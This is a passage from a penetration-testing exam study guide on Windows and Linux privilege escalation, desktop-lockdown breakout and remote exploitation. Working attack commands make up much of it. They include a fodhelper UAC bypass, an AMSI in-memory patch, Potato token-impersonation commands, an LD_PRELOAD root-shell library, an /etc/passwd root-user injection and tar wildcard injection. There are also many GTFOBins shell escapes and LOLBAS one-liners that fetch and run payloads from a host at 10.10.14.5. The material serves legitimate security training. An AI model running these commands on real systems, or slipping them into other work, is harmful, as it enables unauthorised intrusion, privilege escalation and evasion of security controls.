- **HotPotato** (older) - NBNS spoofing + WPAD + HTTP -> NTLM relay -> impersonate SYSTEM token
- **RottenPotato** - simpler, exploits a COM auth race condition
- **JuicyPotato** - extends RottenPotato
- **PrintSpoofer** - exploits Print Spooler service to coerce SYSTEM auth (works through 2019)
- **RoguePotato** - works on later Windows where JuicyPotato fails
- **GodPotato** - works on Windows Server 2012 R2 - Server 2022

Standard pattern:

```
PrintSpoofer.exe -i -c cmd
GodPotato.exe -cmd "cmd /c net localgroup administrators user /add"
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}
```

The CLSID for JuicyPotato varies by Windows version (lookup tables in the README).

6.10.4 UAC Bypass

User Account Control creates a “split token” for administrative users - their interactive sessions run with reduced privilege, requiring elevation for administrative actions. Several known bypasses exist for default-configured Windows:

- **fodhelper** - Windows-built **fodhelper.exe** is auto-elevated and queries **HKCU\Software\Classes\ms-settings\Shell\Open\command\ (Default)** for what to execute. Write your payload there.
- **eventvwr** - **eventvwr.exe** queries **HKCU\Software\Classes\mscfile\shell\open\command\ (Default)**.
- **silentcleanup** - scheduled task runs at high IL via cleanmgr.exe.

```
# fodhelper bypass
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value ""
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start c
e"
Start-Process "C:\Windows\System32\fodhelper.exe"
```

6.10.5 Stored Credentials

Common locations:

- `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon` - DefaultUserName, DefaultPassword (autologon)
- `C:\unattend.xml`, `C:\Windows\Panther\Unattend.xml`, `C:\Windows\system32\sysprep\sysprep.xml` - imaging/install credentials
- `C:\Windows\debug\NetSetup.log`
- IIS application pool credentials in `C:\Windows\System32\inetsrv\config\applicationHost.config`
- Group Policy Preferences XML files in SYSVOL (cpassword) - the GPP password is encrypted with a known AES key.

```
# Hunt GPP passwords from a domain user
nxc smb 10.10.10.10 -u jdoe -p 'Password123!' -M gpp_password
```

```
# In a Windows shell, search for likely password files
findstr /si password *.txt *.xml *.config *.ini 2>nul
findstr /si "password" *.bat *.ps1 *.vbs 2>nul
```

6.11 Windows Patch Management (E11)

The standard mechanisms for patch deployment in enterprise Windows:

- **WSUS (Windows Server Update Services)** - on-premises patch source. Clients are configured via Group Policy to point at the WSUS server (typically TCP/8530 HTTP, TCP/8531 HTTPS).
- **SCCM / Microsoft Endpoint Configuration Manager** - more comprehensive than WSUS, includes software distribution and inventory.
- **Microsoft Update / Windows Update** - direct from Microsoft.
- **Intune** - cloud-based modern equivalent.

WSUS over HTTP is a known attack surface: if you can MITM the WSUS connection, you can deliver malicious updates that run as SYSTEM. Tool: `WSUSpect`.

For the CRT, you should know:

- How to identify a host's patch level (`systeminfo`, `wmic qfe list`)
- How to map missing patches to exploits (`Watson`, manual search of MS bulletin numbers)
- The names of the major vulnerability bulletins and their CVE numbers (MS17-010 = EternalBlue = CVE-2017-0143-0148)

6.12 Windows Desktop Lockdown (E12) - 20 marks

This is the high-value, exam-critical section. The objective: given a locked-down desktop session (kiosk-mode Windows, Citrix published application, restricted Group Policy environment, locked-down corporate desktop), break out and reach a regular shell. The CRT examiners expect this to be done **using only tools already present on the host** - no external uploads, no internet downloads.

The principle: locked-down environments rely on hiding things rather than removing them. The Win32 binaries are still present. The shells (cmd, PowerShell) still exist. The trick is launching them via a path the lockdown does not block.

6.12.1 The File Open / Save As Dialog

Almost every Windows application can open a File dialog. The dialog is a fully-featured Explorer view with an address bar. From the address bar:

- Type a path: `C:\Windows\System32\cmd.exe`, `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe`, `C:\Windows\System32\mmc.exe`, `C:\Windows\System32\regedit.exe`, `C:\Windows\System32\taskmgr.exe`
- Type a UNC path: `\\127.0.0.1\C$`, `\\localhost\C$\Windows\System32\` (often bypasses path-based blocks)
- Type a URL: `file:///C:/Windows/System32/cmd.exe`
- Use environment variables: `%comspec%`, `%systemroot%\system32\cmd.exe`

In the file picker:

- Filter `*.*` to show all files
- Right-click an EXE and select Open
- Right-click + Shift to get "Open in new window" / "Open with..." option

To get a shell from a File dialog when you can browse the filesystem but cannot Run:

1. Save a file with `.bat` extension containing `cmd.exe`

2. Browse to the saved file in the picker
3. Right-click -> Open

6.12.2 Help (F1) and Browser-Based Escapes

Pressing F1 in many applications launches a help viewer, often based on Internet Explorer or Edge. From IE/Edge:

- Address bar -> type any URL or `file:///` path
- View Source on a help page -> opens Notepad with the source
- Print -> printer properties dialog -> Browse for new driver
- Hyperlinks in help content can be right-clicked -> Save Target As -> File dialog

6.12.3 Keyboard Shortcuts and Accessibility

Even on locked-down desktops, several keyboard shortcuts work:

- **Ctrl+Shift+Esc** - opens Task Manager directly. From Task Manager: File -> Run new task -> `cmd.exe` (with “Create this task with administrative privileges” if you have admin).
- **Win+R** - Run dialog. Often disabled but try.
- **Win+E** - File Explorer. Useful even if the Start menu is restricted.
- **Win+X** - admin menu (Windows 8+). Provides direct PowerShell, Device Manager, etc.
- **Shift+F10** - context menu in many dialogs (especially file picker). Sometimes provides “Open” / “Run as”.
- **Ctrl+Alt+End** - inside an RDP / Citrix session, equivalent of Ctrl+Alt+Del on the remote system.

Sticky Keys - pressing Shift five times in succession at the login screen launches `sethc.exe`. If `sethc.exe` has been replaced with `cmd.exe` (a classic post-exploitation backdoor requiring SYSTEM access), you get a SYSTEM cmd shell. This requires prior compromise; not directly relevant to a fresh lockdown attempt.

6.12.4 The Right-Click Menu

In File Explorer (or a File dialog):

- Right-click empty space -> “New” -> “Text Document”. Rename to `.bat`. Edit. Run.
- Right-click + **Shift** -> “Open PowerShell window here” / “Open command window here” (the Shift makes the option visible on Windows 10+).
- Right-click a file -> “Open with...” -> “Choose another app” -> Browse to any EXE.

6.12.5 Office Application Macros

If Office is permitted (Word, Excel, PowerPoint), VBA macros provide unrestricted Windows API access:

```
Sub AutoOpen()
    Shell "cmd.exe /c calc.exe", vbNormalFocus
End Sub
```

The macro security setting (Trust Center) gates this - if “Disable all macros without notification” is set, no VBA runs. Otherwise, the user can be prompted to enable.

6.12.6 PowerShell Constraints and Bypass

PowerShell may be constrained by:

- **Execution Policy** (`Get-ExecutionPolicy`) - controls whether scripts can run. Default Restricted means no scripts. Bypass: `powershell.exe -ExecutionPolicy Bypass`. Or one-liner: `powershell -nop -ep bypass -c "<command>"`.
- **Constrained Language Mode** - restricts COM, .NET reflection, Add-Type. Check with `$ExecutionContext.SessionState.LanguageMode`. Bypassed by spawning a new PowerShell from a non-restricted context, or by using `runas` to spawn a new shell.
- **AppLocker / WDAC** - whitelisting. Even `cmd.exe` may be blocked. Bypasses are CVE-bound and version-specific.
- **AMSI** - Anti-Malware Scan Interface. Scans PowerShell content. Bypass via patching `AmsiScanBuffer` in memory:

```
$a=[Ref].Assembly.GetType();
foreach ($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$a=$c.GetFields('NonPublic,Static');
foreach ($e in $a) {if ($e.Name -like "*Context") {$f=$e}}
$a=$f.GetValue($null);
[IntPtr]$ptr=$a
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
```

(There are many AMSI bypass techniques; this is one classic.)

6.12.7 Group Policy Bypass

Group Policy restrictions on the desktop (e.g., hiding the Run menu, disabling the registry editor, locking the Control Panel) are enforced by the Explorer shell reading registry policies. Direct registry edits or running `regedit.exe` from a different binary path can bypass them.

Useful diagnostics:

```
gpresult /r                # current applied policies
gpresult /h gpr.html        # HTML report
```

The relevant policy locations include:

- `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` - shell restrictions (DisallowRun, NoControlPanel, etc.)
- `HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer` - machine-level equivalent
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System` - DisableTaskMgr, DisableRegistryTools, DisableCMD

Modifying these requires either user-context registry write (allowed if the policy is HKCU and not centrally managed), or admin context (in which case you have already won).

6.12.8 Citrix-Specific Escapes

Citrix XenApp / Citrix Virtual Apps publishes specific applications rather than full desktops. The “published application” runs on a Citrix server and the user sees only that application’s window. Escape paths:

- File dialogs (as above) - the same techniques work
- Help (F1) menus
- “Insert Object” in Office applications
- “Browse for printer” in Print Setup
- Hyperlinks in any document
- The “Save As” dialog of any application

Once you escape to an Explorer-like view, the standard `cmd.exe` / `powershell.exe` paths apply.

A specific Citrix client trick: pressing **Ctrl+F1** while inside a Citrix session opens the Windows Security dialog (the Ctrl+Alt+Del equivalent). This provides Lock Computer, Sign Out, Change Password, Task Manager.

6.12.9 A Worked Example

Suppose you are presented with a locked-down desktop running only Microsoft Word 2019. The Start menu has been removed. Right-click on the desktop produces no menu. Win+R does nothing.

Step-by-step escape:

1. In Word, click File -> Open
2. Address bar of the Open dialog: type `C:\Windows\System32\cmd.exe` and press Enter
3. If blocked, try: `\\127.0.0.1\C$\Windows\System32\cmd.exe`
4. If blocked, try: type `cmd.exe` in the filename field and click Open
5. If blocked, in the dialog: filter `*.*`, navigate to `C:\Windows\System32\`, find `cmd.exe`, right-click, Open
6. If blocked, in the dialog: navigate to a writable location (e.g., `C:\Users\Public\`), right-click empty space, New -> Text Document, rename to `shell.bat`, double-click
7. If still blocked, in Word: Insert -> Object -> Create from File -> Browse -> select `cmd.exe` -> Display as icon -> double-click resulting icon
8. If all of the above blocked: Word’s VBA editor (Alt+F11) -> new module -> `Sub Test() : Shell "cmd.exe", vbNormalFocus : End Sub` -> run

Each step represents a potential block; the lockdown might block 1-3 paths but not all of them. The skill being assessed is knowing the full menu of options.

6.12.10 LOLBAS - Living Off the Land Binaries and Scripts

The LOLBAS project (<https://lolbas-project.github.io>) catalogues legitimate Windows binaries that can be abused for execution, download, evasion, or other attacker objectives. Without internet in the exam, you cannot consult the site, so memorise the most useful entries:

Binary	Use
<code>certutil.exe</code>	Download files: <code>certutil -urlcache -split -f http://10.10.14.5/file.exe file.exe</code>
<code>bitsadmin.exe</code>	Download: <code>bitsadmin /transfer mydl /priority high http://10.10.14.5/file.exe C:\Temp\file.exe</code>
<code>powershell.exe</code>	Download (<code>Invoke-WebRequest</code> , <code>Net.WebClient</code>), execute (<code>-EncodedCommand</code>)
<code>mshta.exe</code>	Execute HTA files: <code>mshta http://10.10.14.5/payload.hta</code>
<code>regsvr32.exe</code>	Execute a remote SCT: <code>regsvr32 /s /u /n /i:http://10.10.14.5/file.sct scrobj.dll</code>
<code>rundll32.exe</code>	Execute DLL functions, JavaScript, VBScript
<code>wmic.exe</code>	Execute remote XSL: <code>wmic process get brief /format:"http://10.10.14.5/file.xsl"</code>
<code>installutil.exe</code>	Execute .NET assemblies: <code>installutil /U /logfile=/LogToConsole=false payload.dll</code>
<code>msbuild.exe</code>	Execute MSBuild XML projects containing inline tasks
<code>cmstp.exe</code>	Execute INF files
<code>installutil.exe</code>	Run .NET assembly via Uninstall hook
<code>forfiles.exe</code>	Execute commands: <code>forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c calc.exe"</code>
<code>pcalua.exe</code>	Program Compatibility Assistant: <code>pcalua.exe -a calc.exe</code>
<code>wscript.exe</code> , <code>cscript.exe</code>	Run JS/VBS files
<code>xcopy.exe</code> , <code>robocopy.exe</code>	File operations including network paths
<code>findstr.exe</code>	Read files, sometimes bypass execution restrictions
<code>at.exe</code> , <code>schtasks.exe</code>	Schedule tasks

This list is non-exhaustive; LOLBAS contains hundreds of entries. Memorise the top dozen and know to look for a “trusted” binary that can be coerced into doing what you want.

6.12.11 Desktop Lockdown Methodology Summary

When presented with a locked-down environment:

1. **Reconnaissance first** - what is allowed? Try every menu, every dialog, every keyboard shortcut. Document what works and what does not.
2. **Identify the open application** - what File / Open dialogs does it expose? What macro/scripting capability? Help system?
3. **Try the file dialog escape** - address bar, UNC paths, environment variables.
4. **Try keyboard shortcuts** - especially Ctrl+Shift+Esc for Task Manager.
5. **Try Help (F1)** - leads to a browser-based viewer.
6. **Try VBA macros** if Office is present.
7. **Try LOLBAS approaches** - even if `cmd.exe` is blocked, `mshta.exe` or `regsvr32.exe` might not be.
8. **Try Group Policy bypass** - check `gpresult` for what is actually applied.

Document each successful escape technique. The exam may award marks for demonstrating the escape rather than for what you do afterwards.

6.13 Common Windows Applications (E13)

The syllabus calls for awareness of common third-party application vulnerabilities. The applications most often exploited:

- **Java** - older versions had numerous browser-plugin RCEs (now obsolete); enterprise Java apps remain a rich source of deserialisation flaws.
- **Adobe Reader / Acrobat** - long history of malicious PDF RCEs.
- **Flash Player** - retired in 2020 but historic exploits exist.
- **Microsoft Office** - macro-based execution; older RTF/Word vulnerabilities.
- **Web browsers** - browser RCEs (less relevant for CRT which is server-side focused).
- **VNC / RealVNC** - CVE-2006-2369 authentication bypass.
- **Splunk / Jenkins / GitLab** - frequently misconfigured admin interfaces with default credentials.
- **Backup software** (Veeam, BackupExec, Acronis) - often runs as SYSTEM with broad access.

For these, the workflow is:

1. Identify the application (banner, port, web fingerprint)

2. Identify the version
3. Check `searchsploit` for known exploits matching version
4. Check vendor advisories for recent CVEs
5. Test default credentials

6.14 Section Summary

Windows is a sprawling topic. Before progressing, ensure you can:

1. Identify Windows hosts and Domain Controllers from a network scan
2. Enumerate AD with `nxc`, `windapsearch`, `BloodHound` (and the equivalents) given a low-privilege user account
3. Perform Kerberoasting and AS-REP roasting
4. Capture credentials with Responder; relay them with `ntlmrelayx`
5. Crack NTLM, NetNTLMv2, Kerberos hashes with hashcat (modes 1000, 5600, 13100, 18200)
6. Dump SAM, LSA, NTDS via `secretsdump.py` and `mimikatz`
7. Move laterally via `psexec`/`wmiexec`/`smbexec`/`evil-winrm`
8. Execute pass-the-hash and pass-the-ticket
9. Identify the major Windows privilege escalation paths (service misconfiguration, AlwaysInstallElevated, token impersonation, UAC bypass)
10. Break out of a locked-down desktop via at least five different paths

The next chapter covers Linux/Unix assessment, which has structural similarities to Windows assessment but with different specific tools and paths.

Part 7: Linux/UNIX Security Assessment (Appendix F - PT007)

This chapter covers Linux/UNIX-specific assessment skills. The structure mirrors the Windows chapter for ease of cross-reference. Many of the techniques are simpler than their Windows equivalents because Unix permissions are simpler than NTFS, but the variety of distributions and configurations creates a long tail of edge cases.

The Unix family includes Linux distributions, the BSDs (FreeBSD, OpenBSD, NetBSD), Solaris/illumos, AIX, HP-UX, and macOS. Modern penetration tests overwhelmingly encounter Linux; the syllabus does mention BSDs and Solaris explicitly under remote exploitation.

7.1 Linux/UNIX Reconnaissance (F1, F2)

7.1.1 Identifying Linux Hosts

The signatures distinguishing Linux/Unix from Windows in network scans:

Port profile: Linux servers typically expose a much smaller default port set than Windows. Common patterns:

- **TCP/22** (SSH) - virtually universal on managed Linux
- **TCP/25** (SMTP), **TCP/80, 443** (HTTP/HTTPS), **TCP/3306** (MySQL), **TCP/5432** (PostgreSQL), **TCP/6379** (Redis), **TCP/27017** (MongoDB) - on application servers
- **TCP/111** (portmapper), **TCP/2049** (NFS) - file servers
- **TCP/139, 445** (Samba) - when running SMB-compatible services

Absence of TCP/135 + TCP/445 + TCP/3389 strongly suggests not Windows. Presence of TCP/22 alone is highly indicative of Linux/Unix.

TTL: Default 64 (Linux/BSD/Solaris differ - Solaris is 255).

SSH banner discloses distribution and version:

```
SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH-2.0-OpenSSH_7.4 (CentOS 7 default)
SSH-2.0-OpenSSH_8.0 (RHEL 8 / CentOS 8)
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7 (Ubuntu 18.04)
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4 (Ubuntu 20.04)
SSH-2.0-OpenSSH_9.0 (Debian 12)
```

The version pins the distribution release with reasonable accuracy.

7.1.2 Network Enumeration

Most of the network enumeration techniques covered in chapter 5 apply to Linux servers. The Linux-specific notes:

Samba (TCP/139, 445) on Linux behaves like Windows SMB but with implementation-specific findings:

- **smb1** enabled (CVE-2017-7494 SambaCry equivalent of EternalBlue)
- Anonymous shares with writable upload
- Symlinks pointing outside the share root (CVE-2010-0926 “symlink traversal”) - older Samba allowed **wide links yes** configurations to expose **/**

```
# Samba version
sudo nmap --script smb-version,smb-os-discovery -p 445 10.10.10.50

# Or via banner
nc -nv 10.10.10.50 445
# (need to send a Negotiate Protocol Request - easier with the script)

# Test for SambaCry (CVE-2017-7494)
sudo nmap --script smb-vuln-cve-2017-7494 -p 445 10.10.10.50
```

rsync (TCP/873) - rarely password-protected. Often allows anonymous read or write of named modules:

```
# List available modules
rsync 10.10.10.50::

# List contents of a module
rsync 10.10.10.50::backup/

# Download a module
rsync -av 10.10.10.50::backup/ ./backup/

# nmap script
sudo nmap --script rsync-list-modules -p 873 10.10.10.50
```

NFS - covered in section 5.11.

X11 - covered in section 5.7.4.

Network printers and IoT - older devices commonly run Linux internally and expose services like:

- TCP/9100 (raw printing / JetDirect) - command injection on some HP printers
- TCP/161 (SNMP) - configuration disclosure
- TCP/80 (web admin) - default credentials, XSS, traversal

7.2 Linux Passwords (F3)

7.2.1 Password Storage: /etc/passwd and /etc/shadow

Two-file architecture:

- **/etc/passwd** - readable by everyone. Contains user account fields but not password hashes (modern Linux). Format:

```
username:x:UID:GID:GECOS:home:shell
jdoe:x:1000:1000:John Doe:/home/jdoe:/bin/bash
```

The **x** in field 2 means “password is in shadow”. Older Unix put the hash directly here.

- **/etc/shadow** - readable only by root. Contains the hashes:

```
username:hash:lastchange:min:max:warn:inactive:expire:reserved
jdoe:$6$rounds=...salt$hash:19500:0:99999:7:::
```

Hash field formats (the prefix indicates the algorithm):

Prefix	Algorithm	Hashcat mode
\$1\$	MD5 (md5crypt)	500
\$2a\$ / \$2b\$ / \$2y\$	bcrypt	3200
\$5\$	SHA-256 (sha256crypt)	7400
\$6\$	SHA-512 (sha512crypt)	1800
\$y\$	yescrypt	30001 (newer hashcat builds)
\$argon2id\$ / \$argon2i\$	Argon2	32xxx (rarely seen in shadow)
(just * or !)	Account locked / no password set	(not crackable)

The **\$6\$rounds=N\$salt\$** prefix optionally specifies an iteration count. Default is 5,000 for sha512crypt.

7.2.2 /etc/group and /etc/gshadow

- **/etc/group** - groups and members:

```
groupname:x:GID:member1,member2,member3
sudo:x:27:alice,bob
```

- **/etc/gshadow** - group passwords (rare). Same access restrictions as **/etc/shadow**.

7.2.3 Cracking Hashes

```
# Combine /etc/passwd and /etc/shadow into John format
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

# Or directly with hashcat
# Extract just the hash field:
awk -F: '$2 != "x" && $2 != "*" && $2 != "!" && length($2) > 5 {print $1":"$2}' shadow > hashes.txt

# Crack sha512crypt
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack md5crypt (older systems)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

# Crack bcrypt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
```

bcrypt and yescrypt are significantly slower to crack than md5crypt or sha512crypt - even on a modern GPU you may achieve only thousands of guesses per second against bcrypt. Prioritise other paths if these are encountered.

7.2.4 Single-User Mode and Physical Access Recovery

If you have physical access to a Linux box (or console access via OOB management like iLO/iDRAC), boot to single-user mode:

1. At the GRUB menu, edit the kernel command line
2. Append `init=/bin/bash` (or `single`, or `rd.break`)
3. Boot. You get a root shell (no password)
4. Mount the root filesystem read-write: `mount -o remount,rw /`
5. Change passwords with `passwd`, edit files, etc.

Mitigations: GRUB password, full-disk encryption.

7.2.5 SUDO Misconfigurations

Sudo grants users elevated privileges based on rules in `/etc/sudoers`. Common misconfigurations:

```
# ALL with NOPASSWD
jdoe ALL=(ALL) NOPASSWD: ALL           # jdoe is effectively root

# Specific binary that can be exploited
jdoe ALL=(ALL) NOPASSWD: /usr/bin/find  # GTF0Bins find -> root
jdoe ALL=(ALL) NOPASSWD: /usr/bin/vim   # GTF0Bins vim -> root
jdoe ALL=(ALL) NOPASSWD: /bin/tar       # GTF0Bins tar -> root

# ALL except logging out (still gets you root)
jdoe ALL=(ALL) ALL,!/sbin/shutdown,!/sbin/reboot

# Wildcard abuse
jdoe ALL=(ALL) NOPASSWD: /bin/cat /var/log/* # cat /var/log/../../etc/shadow
```

Always run `sudo -l` after compromising any user:

```
$ sudo -l
Matching Defaults entries for jdoe on host:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:...

User jdoe may run the following commands on host:
    (root) NOPASSWD: /usr/bin/find
```

7.3 Linux Processes and Library Loading (F4)

7.3.1 LD_PRELOAD

The `LD_PRELOAD` environment variable forces the dynamic linker to load specified shared libraries before any others. If a SUID program preserves `LD_PRELOAD`, an attacker can load a malicious library that runs code as root.

Modern Linux strips `LD_PRELOAD` from the environment when executing SUID binaries (the `secure_execution_mode`). However, if sudo is configured to preserve the environment (`Defaults env_keep+="LD_PRELOAD"` in sudoers), the protection is removed.

```
// preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/bash -p");
}
```

```
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
sudo LD_PRELOAD=/tmp/preload.so <any sudo-allowed command>
```

7.3.2 LD_LIBRARY_PATH

Similar but for the entire library search path. Causes the linker to look in attacker-controlled directories first. Same SUID protections apply on modern Linux; sudo's `env_keep` again the typical bypass.

7.3.3 RPATH/RUNPATH Hijacking

Some binaries embed their library search paths via `DT_RPATH` or `DT_RUNPATH` ELF tags. If a writable directory appears in this path, you can drop a malicious library there:

```
# Inspect a binary's RPATH
readelf -d /path/to/binary | grep -i path

# Sample finding:
0x000000000000001d (RUNPATH)      Library runpath: [/opt/vulnerable/lib]
```

If `/opt/vulnerable/lib` is writable but `/opt/vulnerable/bin/binary` is SUID root, you write a malicious `.so` there with the same name as a legitimate dependency, and the SUID binary loads it.

7.3.4 Hijackable Service Binaries

Background services (systemd units, init scripts, cron) running as root may execute helper scripts in writable locations. The standard methodology:

```
# Look for files run as root from writable locations
find /etc/systemd/ -type f -name "*.service" | xargs grep -l ExecStart= 2>/dev/null
find /etc/init.d/ -type f -executable
find /etc/cron* -type f
crontab -l # current user's
ls -la /etc/cron.d/ /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
cat /etc/crontab

# Then check writability of each referenced path
```

The classic finding: a cron entry like `* * * * * root /usr/local/bin/backup.sh`, where `/usr/local/bin/backup.sh` is world-writable.

7.4 Linux File Permissions (F5)

7.4.1 SUID/SGID

The Set User ID and Set Group ID bits cause an executed file to run with the file owner's UID (or group's GID) rather than the calling user's. SUID root binaries are the classic Linux privilege escalation target.

The intended use: tools like `/bin/passwd` (which needs root to write `/etc/shadow`) and `/usr/bin/sudo` are SUID root.

The unintended use: any SUID binary that exposes a function the attacker can leverage to read root-owned files, write root-owned files, or execute arbitrary commands becomes a privesc.

```
# Find all SUID files on the system
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null

# Find SGID files
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Both
find / -perm /6000 -type f 2>/dev/null
```

7.4.2 GTFOBins

`GTFOBins` is a curated catalogue of Unix binaries that can be abused. For each binary, GTFOBins documents whether and how it can be exploited via SUID, sudo, file read, file write, library load, capability, command, or shell exit.

The top binaries to memorise (because their abuse is so common):

Binary	SUID/sudo path
vim, vi, nvim	#!/bin/sh
nano, pico	^R^X reset; sh 1>&0 2>&0 (Ctrl+R Ctrl+X)
less, more, man	!sh from the pager
find	find . -exec /bin/sh \; or -exec /bin/sh -p \; for SUID
awk	awk 'BEGIN {system("/bin/sh")}'
python, perl, ruby, node, lua	python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
gdb	gdb -nx -ex '!sh' -ex quit
tar	tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
zip	zip /tmp/x.zip /etc/hosts -T --unzip-command="sh -c /bin/sh"
cp, mv	Used to overwrite /etc/passwd or /etc/shadow if SUID
nmap	(older) --interactive then !sh. Or nmap --script <evil> if you can write the script.
bash	bash -p if SUID
dash, sh, ash	All similar to bash with -p
socat, nc	spawn shell
docker	If user is in docker group: docker run -v /:/mnt --rm -it alpine chroot /mnt sh
lxd	If user is in lxd group: spawn a container with host filesystem mounted
dd, tee, cat	Read/write arbitrary files
env	env /bin/sh -p
expect	expect -c "spawn /bin/sh; interact"
make	make -s --eval='\$x:\n\t-'''/bin/sh -p'''
mount	If certain options usable, root
python	Multiple paths
rsync	rsync -e 'sh -c "sh 0<&2 1>&2"' :::
screen	Multiple paths
script	script -q /dev/null /bin/sh -p
sed	Read arbitrary files
strace	strace -o /dev/null /bin/sh -p
time	time /bin/sh -p

The pattern across these: any binary that can either (a) execute another command, (b) provide a shell escape, or (c) read/write arbitrary files, can be abused if SUID-root.

7.4.3 File Capabilities

Capabilities are a finer-grained alternative to SUID introduced in Linux 2.2. Rather than granting all of root's powers, they grant specific capabilities. For example, `cap_net_raw` allows raw socket creation (needed by `ping`).

```
# List all binaries with capabilities
getcap -r / 2>/dev/null

# Sample output:
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.10 cap_setuid+ep # this is exploitable
/usr/bin/perl cap_setuid+ep      # this is exploitable
```

`cap_setuid+ep` on python or perl is equivalent to SUID root - the binary can call `setuid(0)` and become root:

```
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```

GTFOBins covers capabilities exploitation alongside SUID and sudo.

7.4.4 World-Writable Files in Sensitive Locations

The classic finding is a writable `/etc/passwd`. With `/etc/passwd` writable, you add a new root user:

```
# Generate a password hash for "password"
openssl passwd -1 -salt salt password
# $1$salt$.A6/IscJExHMWWFzsAAAtQ.

# Append to /etc/passwd
echo 'rooted:$1$salt$.A6/IscJExHMWWFzsAAAtQ.:0:0:root:/root:/bin/bash' >> /etc/passwd

# Switch to it
su rooted
```

Hunt for these:

```
find / -writable -type f 2>/dev/null | grep -v -E "^/proc|^/sys"
find / -writable -type d 2>/dev/null | grep -v -E "^/proc|^/sys|^/tmp"
find /etc -writable 2>/dev/null
```

7.4.5 Cron Jobs

Cron is the standard Unix scheduled-task mechanism. Each crontab format:

```
# m h dom mon dow user  command
*/5 * * * * root /usr/local/bin/check-disk.sh
```

Files of interest:

```
# System-wide
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/

# Per-user (current user)
crontab -l

# Per-user (any user, requires read access)
ls -la /var/spool/cron/crontabs/
ls -la /var/spool/cron/ # CentOS/RHEL location
```

Findings:

- A cron job runs a writable script
- A cron job runs a script that includes (sources) a writable file
- A cron job runs a binary that has been moved/deleted, leaving a path lookup that the user can satisfy
- A cron job uses a wildcard, allowing argument injection (the `tar *` wildcard injection: a file named `--checkpoint-action=exec=sh` smuggles in tar's checkpoint flag)

7.4.6 The Wildcard Injection Trick

Suppose `cron` runs as root: `cd /var/backups && tar czf backup.tar.gz *`

If the working directory is writable (or if the wildcard is over a writable directory), an attacker creates files whose names look like flags:

```
cd /var/backups
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- '--checkpoint-action=exec=sh exploit.sh'
touch -- '--checkpoint=1'

# When cron runs `tar czf backup.tar.gz *`, the shell expands the wildcard,
# and tar reads `--checkpoint-action=...` as an option (not a file)
# When the cron runs, exploit.sh executes as root
# Wait, then:
/tmp/rootbash -p
# uid=0 - we're root
```

This is unusual but classic. Look for any cron job with a wildcard expansion in a writable directory.

7.5 Linux Remote Exploitation (F6)

The major Unix-targeting public exploits to be aware of:

Service	Vulnerability	CVE	Notes
Samba	SambaCry	CVE-2017-7494	Pre-auth RCE if writable share + named pipe trigger.
OpenSMTPD	(multiple)	CVE-2020-7247, 8794	Pre-auth RCE in OpenBSD's mail daemon.
Exim	(multiple)	CVE-2019-10149, 15846	Pre-auth RCE in widely-deployed MTA.
OpenSSH	username enum	CVE-2018-15473	Side-channel username enum (timing). Information disclosure.
OpenSSH	(older)	CVE-2016-0777	Roaming feature memory disclosure.
Apache	mod_cgi	CVE-2014-6271 (Shellshock)	If Bash is invoked via CGI: special crafted env vars cause RCE.
Apache	mod_lua	(various)	Various
nginx	Off-by-one in <code>ngx_resolver_copy</code>	CVE-2021-23017	DNS resolver.
Drupal	Drupalgeddon, Drupalgeddon2	CVE-2014-3704, 2018-7600	Pre-auth RCE in Drupal core.
Solaris	Telnet	CVE-2007-0882	Auth bypass with <code>-froot</code> argument.
FreeBSD	(multiple kernel)	various	Privesc primarily, less remote.
ProFTPD	mod_copy	CVE-2015-3306	Unauth file copy.
vsftpd	smiley backdoor	CVE-2011-2523	Anonymous login with <code>:)</code> in username -> root shell on TCP/6200.
Redis	Unauth	(no CVE - misconfig)	If exposed without <code>requirepass</code> , can write SSH key to <code>authorized_keys</code> via <code>CONFIG SET dir + CONFIG SET dbfilename + SET payload + SAVE</code> .
Memcached	Unauth	(misconfig)	Information leak; UDP amplification source.
ElasticSearch	Various	CVE-2014-3120, 2015-1427	Older versions allowed Groovy-based RCE.
MongoDB	Unauth	(misconfig)	If bound to all interfaces with no auth.

7.5.1 vsftpd 2.3.4 Smiley Backdoor

